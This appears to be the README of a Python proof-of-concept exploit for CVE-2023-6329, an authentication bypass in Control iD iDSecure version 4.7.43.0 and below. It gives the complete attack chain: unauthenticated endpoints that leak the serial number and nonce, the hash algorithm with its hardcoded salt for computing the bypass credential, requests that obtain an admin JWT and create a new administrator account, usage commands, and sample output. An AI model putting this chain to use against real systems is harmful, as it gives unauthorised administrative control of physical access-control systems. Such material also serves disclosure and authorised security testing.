CVE-2023-6329 — Control iD iDSecure Authentication Bypass

A Python proof-of-concept exploit for CVE-2023-6329, an improper access control vulnerability in Control iD iDSecure versions 4.7.43.0 and below. The flaw allows an unauthenticated remote attacker to reconstruct valid login credentials by exploiting a predictable password derivation algorithm that relies entirely on publicly accessible values — a device serial number, a server-provided nonce, and a hardcoded salt. Once authenticated, the attacker can create a new administrative user on the web interface.

Converted to Python based on the original Metasploit module by Michael Heinzl. Original vulnerability discovered and disclosed by Tenable.

Disclaimer: This tool is provided for educational purposes and authorised security testing only. The author takes no responsibility for misuse. Only run this against systems you own or have explicit written permission to test.

Table of Contents

• Vulnerability Details
• How It Works
• Requirements
• Installation
• Usage
• Example Output
• References

Vulnerability Details

Root Cause

The login routine in iDS-Core.dll exposes an alternative authentication path via a passwordCustom parameter. The value for this parameter is derived using a predictable algorithm that takes the device's serial number (publicly retrievable without authentication) combined with a caller-supplied nonce and a hardcoded salt string (cid2016). Since every ingredient in the computation is either attacker-controlled or freely obtainable, any remote attacker can compute a valid passwordCustom value and log in as an administrator.

Upon successful authentication via this path, the server resets the admin account password to admin, or creates that account if it does not already exist.

How It Works

The exploit follows five steps:

1. Version check — The /api/util/configUI endpoint returns a 401 response containing the software version, confirming whether the target is running a vulnerable build.

2. Retrieve unlock data — A GET request to /api/login/unlockGetData returns the device's serial number and a passwordRandom nonce. This endpoint requires no authentication.

3. Compute passwordCustom — The following algorithm is applied to derive the bypass credential:

sha1_hash      = SHA1(serial)
combined       = sha1_hash + passwordRandom + "cid2016"
sha256_hash    = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16)   # first 6 hex chars → decimal

4. Authenticate and obtain a JWT — The computed passwordCustom and passwordRandom are POSTed to /api/login/, which returns a valid JWT accessToken with admin privileges.

5. Create a new admin user — The JWT is used to POST to /api/operator/ and register a new operator account with idType: 1 (administrator role).

Requirements

• Python 3.8 or higher
• requests library

Installation

git clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests

Usage

python3 exploit.py --host <TARGET_IP> [options]

Examples

Basic usage against a target on the default port:

python3 exploit.py --host 192.168.1.100

Specify custom credentials for the new admin account:

python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!

Target running on a non-standard port without SSL:

python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl

Example Output

[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial         : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
    Username : ctfadmin
    Password : S3cr3tPass!

References

• Tenable TRA-2023-36 — Original Advisory
• NVD — CVE-2023-6329
• Metasploit Module — auxiliary/admin/http/idsecure_auth_bypass